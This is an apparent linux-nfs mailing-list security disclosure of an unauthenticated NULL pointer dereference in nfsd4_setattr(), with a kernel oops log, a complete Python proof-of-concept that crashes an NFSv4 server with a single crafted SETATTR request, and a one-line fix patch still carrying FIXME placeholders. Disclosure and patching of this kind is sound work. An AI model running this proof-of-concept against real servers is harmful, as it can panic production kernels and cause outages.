[SECURITY] nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs
Nikol Kuklev <[email protected]>
| Newsgroups | gmane.linux.nfs |
|---|---|
| Message-ID | <CAM4XWym=NREGQ67b-ypADfJwemnF61dNyHp2LVMpkxphE_+dvQ@mail.gmail.com> |
HI :)
I hope you're doing well!
I would like to report a remotely triggerable null pointer dereference in
nfsd4_setattr(),
introduced by commit 7e13f4f8d27d ("nfsd: handle delegated timestamps in
SETATTR").
## Bug
When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr() sets
`deleg_attrs = true` and calls nfs4_preprocess_stateid_op() to validate the
stateid. If the client uses the NFSv4 "one stateid" (0xFFFFFFFF...), the
call
returns nfs_ok without setting the output stid pointer - because
check_special_stateids() handles special stateids and returns early, and the
output nfs4_stid is only set in the `if (s)` block after the `done:` label,
which is skipped when s==NULL.
Back in nfsd4_setattr(), the `if (deleg_attrs)` block then unconditionally
dereferences st->sc_type at line 1253 (offset ~4 from NULL), causing a
kernel
oops.
Relevant code path (fs/nfsd/nfs4proc.c):
struct nfs4_stid *st = NULL; // initialized to NULL
...
status = nfs4_preprocess_stateid_op(rqstp, cstate,
&cstate->current_fh, &setattr->sa_stateid,
flags, NULL, &st); // st stays NULL for special
stateid
if (status)
goto out_err;
if (deleg_attrs) {
status = nfserr_bad_stateid;
if (st->sc_type & SC_TYPE_DELEG) { // <-- NULL DEREFERENCE when
st==NULL
Why ONE_STATEID always triggers: check_special_stateids() line 7141 returns
nfs_ok unconditionally when ONE_STATEID and (flags & RD_STATE) are both
true.
With FATTR4_WORD2_TIME_DELEG_ACCESS set, flags = WR_STATE | RD_STATE, so
this
path fires regardless of server state.
Trigger (minimal):
COMPOUND [
PUTROOTFH,
SETATTR(
stateid = 0xFFFFFFFF...FF, # ONE_STATEID
bmval = [0, 0, 0x100000], # FATTR4_WORD2_TIME_DELEG_ACCESS
attrs = nfstime4{0, 0}
)
]
No authentication, delegation, or prior state is required. Any NFSv4 client
can trigger this against a server running kernel >= v6.14.
## Impact
- Kernel null pointer dereference → oops in the nfsd worker thread
- On servers with panic_on_oops=1: full kernel panic and reboot
- Affected: all kernels from v6.14 through current mainline (7.1-dev)
- Note: partially overlapping commit 3952f1cbcbc4 ("nfsd: fix SETATTR
updates
for delegated timestamps", Jul 2025) fixed timestamp vetting but did not
address this null dereference
## Fix
Add a null guard before the dereference. Patch attached -
fix-setattr-null-deref.patch.
The semantics are already correct: a non-delegation stateid (including
special
stateids) should return nfserr_bad_stateid. The fix only prevents the crash.
I have a PoC script available if useful for testing.
Thanks,
Nikol
evidence-nfsd-setattr-null-deref.txt
(text/plain, 4.1 KB)
FINDING-001: NULL ptr deref in nfsd4_setattr() via TIME_DELEG_ACCESS + special stateid
=======================================================================================
VERDICT: VULNERABLE — kernel NULL pointer dereference confirmed
Kernel: 6.17.8-orbstack-00308-g8f9c941121b1 (ARM64, SMP, PREEMPTLAZY)
Host OS: macOS 25.5.0 / OrbStack
Date: 2026-06-12
Attack
------
PoC: tools/poc_setattr_null_deref.py --server 127.0.0.1 --port 12049
Trigger: COMPOUND [ PUTROOTFH, SETATTR(ONE_STATEID, {bmval2=0x100000, nfstime4{0,0}}) ]
The PoC sends three variants:
V1: FATTR4_WORD2_TIME_DELEG_ACCESS (bmval2=0x100000) + ONE_STATEID (0xFF...FF)
V2: FATTR4_WORD2_TIME_DELEG_MODIFY (bmval2=0x200000) + ONE_STATEID
V3: FATTR4_WORD2_TIME_DELEG_ACCESS + ZERO_STATEID (0x00...00)
All three triggered kernel panics (OrbStack VM restarted each run).
Kernel Oops (captured from /dev/kmsg on kernel 6.17.8)
-------------------------------------------------------
Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004
Mem abort info:
ESR = 0x0000000096000007
EC = 0x25: DABT (current EL), IL = 32 bits
SET = 0, FnV = 0
EA = 0, S1PTW = 0
FSC = 0x07: level 3 translation fault
Data abort info:
ISV = 0, ISS = 0x00000007, ISS2 = 0x00000000
CM = 0, WnR = 0, TnD = 0, TagAccess = 0
GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0
user pgtable: 4k pages, 48-bit VAs, pgdp=00000001171b4000
[0000000000000004] pgd=08000001171d2403, p4d=08000001171d2403, pud=08000001171d3403, pmd=0800000100a91403, pte=0000000000000000
Internal error: Oops: 0000000096000007 [#1] SMP
Modules linked in:
CPU: 5 UID: 0 PID: 5134 Comm: nfsd Not tainted 6.17.8-orbstack-00308-g8f9c941121b1 #1 PREEMPTLAZY
Hardware name: orbstack,virt (DT)
pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
pc : nfsd4_setattr+0x9c/0x320
lr : nfsd4_setattr+0x90/0x320
sp : ffff0000d310bc10
x29: ffff0000d310bc60 x28: 0000000000000000 x27: ffffbec0a8869788
x26: ffff0000b4850c28 x25: ffff0000d4879100 x24: 0000000000100000
x23: ffff0000d784a3e0 x22: 0000000000000000 x21: ffff0000d784a3c0
x20: ffff0000b4850800 x19: ffff0000d784c028 x18: 0000000000000004
x17: 000000000000019d x16: 0000000000000001 x15: 0000000000000000
x14: 0000000000000000 x13: 0000000000000000 x12: fffffdffbf55d440
x11: 0000000000000360 x10: ffff0000a7183c00 x9 : 3de2b6752db49600
x8 : 3de2b6752db49600 x7 : 0000000000000000 x6 : ffff0000d310bc18
x5 : 0000000000000000 x4 : 0000000000000030 x3 : ffff0000d784a3c0
x2 : ffff0000d784c028 x1 : ffff0000d784c028 x0 : 0000000000000000
Call trace:
nfsd4_setattr+0x9c/0x320 (P)
nfsd4_proc_compound+0xcc/0x140
nfsd_dispatch+0xb4/0x230
svc_process_common+0x468/0x5b8
svc_process+0xd4/0x188
svc_recv+0x438/0xad0
nfsd.cold+0x64/0xbc
Oops analysis
-------------
- Fault address: 0x0000000000000004 = offset 4 from NULL
- x0 = 0x0000000000000000 = the NULL 'st' (nfs4_stid*) pointer
- x18 = 0x0000000000000004 = fault VA confirming st->sc_type access
- x24 = 0x0000000000100000 = FATTR4_WORD2_TIME_DELEG_ACCESS bit (deleg_attrs mask)
- pc: nfsd4_setattr+0x9c matches the st->sc_type dereference at
fs/nfsd/nfs4proc.c line ~1253
struct nfs4_stid layout (fs/nfsd/state.h:112):
+0: refcount_t sc_count (4 bytes)
+4: unsigned short sc_type ← accessed at address NULL+4 = 0x4 ✓
PoC output (Variant 2 triggering crash)
-----------------------------------------
[*] Variant 2: FATTR4_WORD2_TIME_DELEG_MODIFY + ONE_STATEID
[!!] Connection reset — server likely crashed!
OrbStack VM restarted after each variant (kernel panic with no recovery).
Affected versions
-----------------
Introduced: commit 7e13f4f8d27dc02fb88666f603c53ca749d56f92
"nfsd: handle delegated timestamps in SETATTR" (Dec 9, 2024)
Partially fixed: commit 3952f1cbcbc4 (Jul 30, 2025) fixed timestamp vetting
but did NOT address this null dereference
Unfixed in: kernel 6.17.8 (confirmed) and current mainline 7.1-dev
Attack surface
--------------
Any NFSv4 client with network access to the server.
No authentication, delegation, open file, or prior state required.
Trigger: one COMPOUND RPC with SETATTR + TIME_DELEG attribute + special stateid.
poc_setattr_null_deref.py
(text/x-python-script, 12.2 KB)
#!/usr/bin/env python3
"""
NULL pointer dereference in nfsd4_setattr() via TIME_DELEG_ACCESS + ONE_STATEID
Affected code: fs/nfsd/nfs4proc.c, nfsd4_setattr()
Bug:
When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr()
sets `deleg_attrs = true` and calls nfs4_preprocess_stateid_op() to
validate the stateid.
If the client uses the NFSv4 "one stateid" (0xFFFFFF...FF), the function
dispatches to check_special_stateids(), which for a stateid with both
WR_STATE and RD_STATE flags returns nfs_ok *without* setting the output
nfs4_stid pointer. The local variable `st` remains NULL.
Back in nfsd4_setattr():
if (deleg_attrs) {
status = nfserr_bad_stateid;
if (st->sc_type & SC_TYPE_DELEG) { // NULL DEREF: st == NULL
This dereferences NULL (struct offset ~4), triggering a kernel oops.
Root cause:
check_special_stateids() correctly returns nfs_ok for one_stateid+RD_STATE
per RFC 7530 §8.2. The problem is that nfsd4_setattr() doesn't guard the
deleg_attrs block against st==NULL.
Attack vector:
Any NFSv4 client that can reach the server can trigger this. No
authentication, delegations, or prior state required.
Trigger condition:
COMPOUND [
PUTROOTFH,
SETATTR(
stateid = ONE_STATEID, // all-0xFF bytes
attrs = { FATTR4_WORD2_TIME_DELEG_ACCESS: nfstime4{0,0} }
)
]
Expected result:
Kernel oops: BUG: kernel NULL pointer dereference, address: 0x00000004
in nfsd4_setattr (fs/nfsd/nfs4proc.c)
Fix (conceptual):
In nfsd4_setattr(), guard the delegation attribute block:
if (deleg_attrs) {
status = nfserr_bad_stateid;
+ if (st && st->sc_type & SC_TYPE_DELEG) {
- if (st->sc_type & SC_TYPE_DELEG) {
...
}
}
Or alternatively, reject special stateids earlier when deleg_attrs is set.
Usage:
.venv/bin/python tools/poc_setattr_null_deref.py --server 127.0.0.1 --port 2049
Monitor: ssh root@localhost -p 2224 'dmesg -w | grep -E "BUG|NULL|nfsd"'
"""
import sys
import os
import struct
import argparse
sys.path.insert(0, os.path.dirname(__file__))
from rpc_client import (
RPCClient, XDRReader,
xdr_uint, xdr_uint64, xdr_opaque, xdr_string, xdr_bool, auth_null,
)
from nfs4_client import (
NFS4Client, NFS4Error, NFS4_OK,
NFS4ERR_BAD_STATEID,
CompoundBuilder,
status_name,
)
# ── NFSv4 constants ────────────────────────────────────────────────────────────
OP_SETATTR = 34
OP_PUTROOTFH = 24
# Bitmap positions (FATTR4_WORD2 bits)
FATTR4_WORD2_TIME_DELEG_ACCESS = (1 << 20) # bit 84: FATTR4_TIME_DELEG_ACCESS - 64
FATTR4_WORD2_TIME_DELEG_MODIFY = (1 << 21) # bit 85: FATTR4_TIME_DELEG_MODIFY - 64
# Special stateids
ZERO_STATEID = b'\x00' * 16 # all zeros: {seqid=0, other=0...0}
ONE_STATEID = b'\xff' * 16 # all ones: {seqid=0xFFFFFFFF, other=0xFF...FF}
def encode_one_stateid() -> bytes:
"""Encode the NFSv4 'one stateid' (all-0xFF)."""
return ONE_STATEID
def encode_zero_stateid() -> bytes:
"""Encode the NFSv4 'zero stateid' (all-0x00)."""
return ZERO_STATEID
def encode_nfstime4(seconds: int = 0, nseconds: int = 0) -> bytes:
"""Encode nfstime4 = {int64 seconds, uint32 nseconds}."""
return struct.pack(">qI", seconds, nseconds) # 12 bytes
def encode_fattr4_bitmap_and_data(word0: int, word1: int, word2: int,
attr_data: bytes) -> bytes:
"""
Encode fattr4 = {bitmap4, opaque<> attrlist}.
Bitmap is encoded as an array of uint32s.
"""
# Determine how many bitmap words to include (trim trailing zeros)
words = [word0, word1, word2]
while words and words[-1] == 0:
words.pop()
if not words:
words = [0] # at least one word
bitmap = xdr_uint(len(words))
for w in words:
bitmap += xdr_uint(w)
return bitmap + xdr_opaque(attr_data)
def op_putrootfh() -> bytes:
return xdr_uint(OP_PUTROOTFH)
def op_setattr_time_deleg(stateid: bytes, use_modify_bit: bool = False) -> bytes:
"""
Encode SETATTR with TIME_DELEG_ACCESS (or MODIFY) attribute and given stateid.
This is the crash trigger:
- stateid = ONE_STATEID → check_special_stateids returns nfs_ok
- FATTR4_WORD2_TIME_DELEG_ACCESS in bmval[2] → deleg_attrs=True
- nfsd4_setattr dereferences st->sc_type where st==NULL → oops
"""
assert len(stateid) == 16, "stateid must be 16 bytes"
if use_modify_bit:
word2_bit = FATTR4_WORD2_TIME_DELEG_MODIFY
else:
word2_bit = FATTR4_WORD2_TIME_DELEG_ACCESS
attr_data = encode_nfstime4(seconds=0, nseconds=0)
fattr = encode_fattr4_bitmap_and_data(0, 0, word2_bit, attr_data)
return xdr_uint(OP_SETATTR) + stateid + fattr
# ── Manual compound builder (bypasses NFS4Client's session layer) ─────────────
def build_compound_v4(ops: list[bytes], tag: str = b"poc") -> bytes:
"""
Build a raw NFSv4.0 COMPOUND request body.
NFSv4.0 COMPOUND args:
opaque<4> tag
uint32 minorversion = 0
uint32 argarray_count
nfs_argop4[] argarray
"""
ops_data = b"".join(ops)
op_count = len(ops)
return (
xdr_opaque(tag if isinstance(tag, bytes) else tag.encode())
+ xdr_uint(0) # minorversion = 0
+ xdr_uint(op_count)
+ ops_data
)
def send_compound(client: RPCClient, ops: list[bytes], tag: str = b"poc") -> bytes:
"""Send raw NFSv4.0 COMPOUND and return reply bytes."""
body = build_compound_v4(ops, tag)
# NFS proc=1 is COMPOUND; program/version are set in RPCClient.__init__
reply = client.call(1, body)
return reply
# ── Attack variants ───────────────────────────────────────────────────────────
def run_attack(host: str, port: int, verbose: bool = True):
print(f"[*] Target: {host}:{port}")
print(f"[*] Bug: nfsd4_setattr NULL ptr deref via TIME_DELEG_ACCESS + ONE_STATEID")
print()
client = RPCClient(host, port, program=100003, version=4)
client.connect()
print(f"[*] Connected to NFS server")
results = []
# ── Variant 1: TIME_DELEG_ACCESS + ONE_STATEID ────────────────────────────
print("[*] Variant 1: FATTR4_WORD2_TIME_DELEG_ACCESS + ONE_STATEID")
print(" Expected: kernel oops (NULL ptr deref at nfsd4_setattr:1253)")
try:
ops = [
op_putrootfh(),
op_setattr_time_deleg(ONE_STATEID, use_modify_bit=False),
]
reply = send_compound(client, ops, tag=b"deleg_null_v1")
r = XDRReader(reply)
_status = r.uint() # COMPOUND status
_tag = r.opaque() # tag (length-prefixed, padded)
_op_count = r.uint()
# PUTROOTFH result
_op1 = r.uint()
putrootfh_status = r.uint()
# SETATTR result
_op2 = r.uint()
setattr_status = r.uint()
status_str = status_name(setattr_status)
print(f" PUTROOTFH: {status_name(putrootfh_status)}")
print(f" SETATTR: {status_str} (0x{setattr_status:08x})")
if setattr_status == 0:
print(f" [!!] SETATTR returned NFS4_OK — unexpected!")
elif setattr_status == NFS4ERR_BAD_STATEID: # 10025
print(f" [+] Got NFS4ERR_BAD_STATEID — server survived (may be patched)")
else:
print(f" [?] Got status {status_str}")
results.append(("V1 ACCESS+ONE", setattr_status, "replied"))
except ConnectionResetError:
print(f" [!!] Connection reset — server likely crashed (OOPS triggered)!")
results.append(("V1 ACCESS+ONE", None, "connection_reset"))
except Exception as e:
print(f" [?] Exception: {e}")
results.append(("V1 ACCESS+ONE", None, str(e)))
# ── Variant 2: TIME_DELEG_MODIFY + ONE_STATEID ────────────────────────────
print()
print("[*] Variant 2: FATTR4_WORD2_TIME_DELEG_MODIFY + ONE_STATEID")
try:
ops = [
op_putrootfh(),
op_setattr_time_deleg(ONE_STATEID, use_modify_bit=True),
]
reply = send_compound(client, ops, tag=b"deleg_null_v2")
r = XDRReader(reply)
_status = r.uint()
_tag = r.opaque()
_op_count = r.uint()
_op1 = r.uint(); putrootfh_status = r.uint()
_op2 = r.uint(); setattr_status = r.uint()
print(f" SETATTR: {status_name(setattr_status)} (0x{setattr_status:08x})")
results.append(("V2 MODIFY+ONE", setattr_status, "replied"))
except ConnectionResetError:
print(f" [!!] Connection reset — server likely crashed!")
results.append(("V2 MODIFY+ONE", None, "connection_reset"))
except Exception as e:
print(f" [?] Exception: {e}")
results.append(("V2 MODIFY+ONE", None, str(e)))
# ── Variant 3: TIME_DELEG_ACCESS + ZERO_STATEID ───────────────────────────
# Only triggers if no SHARE_DENY_WRITE conflicts on root export
print()
print("[*] Variant 3: FATTR4_WORD2_TIME_DELEG_ACCESS + ZERO_STATEID")
print(" (triggers if no SHARE_DENY_WRITE conflict on root)")
try:
ops = [
op_putrootfh(),
op_setattr_time_deleg(ZERO_STATEID, use_modify_bit=False),
]
reply = send_compound(client, ops, tag=b"deleg_null_v3")
r = XDRReader(reply)
_status = r.uint()
_tag = r.opaque()
_op_count = r.uint()
_op1 = r.uint(); putrootfh_status = r.uint()
_op2 = r.uint(); setattr_status = r.uint()
print(f" SETATTR: {status_name(setattr_status)} (0x{setattr_status:08x})")
results.append(("V3 ACCESS+ZERO", setattr_status, "replied"))
except ConnectionResetError:
print(f" [!!] Connection reset — server likely crashed!")
results.append(("V3 ACCESS+ZERO", None, "connection_reset"))
except Exception as e:
print(f" [?] Exception: {e}")
results.append(("V3 ACCESS+ZERO", None, str(e)))
client.disconnect()
# ── Summary ───────────────────────────────────────────────────────────────
print()
print("═" * 60)
print(" RESULTS")
print("═" * 60)
for variant, status, outcome in results:
if outcome == "connection_reset":
verdict = "[!!] CRASH — kernel oops likely triggered"
elif outcome == "replied" and status == 0x00010013:
verdict = "[+] NFS4ERR_BAD_STATEID — appears patched or unaffected"
elif outcome == "replied":
verdict = f"[?] Status {status:#010x} — {status_name(status)}"
else:
verdict = f"[?] {outcome}"
print(f" {variant:<20} {verdict}")
print("═" * 60)
print()
print(" If connection resets: check dmesg on the server for:")
print(" BUG: kernel NULL pointer dereference, address: 0x00000004")
print(" RIP: nfsd4_setattr+... (fs/nfsd/nfs4proc.c:1253)")
print()
print(" Patch: add 'st &&' guard before st->sc_type dereference in")
print(" nfsd4_setattr() (fs/nfsd/nfs4proc.c line ~1253)")
def main():
p = argparse.ArgumentParser(
description="PoC: NULL ptr deref in nfsd4_setattr() via TIME_DELEG_ACCESS")
p.add_argument("--server", default="127.0.0.1", help="NFS server address")
p.add_argument("--port", type=int, default=2049, help="NFS port")
p.add_argument("--verbose", "-v", action="store_true")
args = p.parse_args()
try:
run_attack(args.server, args.port, args.verbose)
except ConnectionRefusedError:
print(f"[!] Connection refused — is the NFS server running?", file=sys.stderr)
print(f" Start QEMU VM with: bash qemu/run_vm.sh", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
fix-nfsd-setattr-null-deref.patch
(application/octet-stream, 2 KB)
From: FIXME_AUTHOR_NAME <FIXME_AUTHOR_EMAIL>
Date: Thu, 12 Jun 2026 00:00:00 +0000
Subject: [PATCH] nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs
When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr()
sets deleg_attrs=true and calls nfs4_preprocess_stateid_op() to validate
the stateid.
If the client supplies the NFSv4 "one stateid" (all-0xFF bytes),
check_special_stateids() returns nfs_ok without populating the output
nfs4_stid pointer, because the special-stateid path in
nfs4_preprocess_stateid_op() jumps to done: with s==NULL, and the
"if (s)" block that would set *cstid is skipped. The local variable `st`
remains NULL.
Back in nfsd4_setattr(), the if (deleg_attrs) block then unconditionally
dereferences st->sc_type (at offset 4 from NULL), causing a kernel oops.
This is remotely triggerable by any NFSv4 client: send COMPOUND [PUTROOTFH,
SETATTR(ONE_STATEID, {bmval2=FATTR4_WORD2_TIME_DELEG_ACCESS, ...})].
No authentication, delegation, or prior state is required.
Fix by adding a NULL check before the dereference. A special stateid is
not a delegation stateid, so the existing nfserr_bad_stateid return value
is already correct; we only need to guard the pointer dereference itself.
Fixes: 7e13f4f8d27dc02fb88666f603c53ca749d56f92 ("nfsd: handle delegated timestamps in SETATTR")
Cc: [email protected]
Signed-off-by: FIXME_AUTHOR_NAME <FIXME_AUTHOR_EMAIL>
---
fs/nfsd/nfs4proc.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c
index aacd912a5fbe..FIXME_NEW_HASH 100644
--- a/fs/nfsd/nfs4proc.c
+++ b/fs/nfsd/nfs4proc.c
@@ -1251,7 +1251,7 @@ nfsd4_setattr(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate,
if (deleg_attrs) {
status = nfserr_bad_stateid;
- if (st->sc_type & SC_TYPE_DELEG) {
+ if (st && (st->sc_type & SC_TYPE_DELEG)) {
struct nfs4_delegation *dp = delegstateid(st);
/* Only for *_ATTRS_DELEG flavors */
--
2.39.0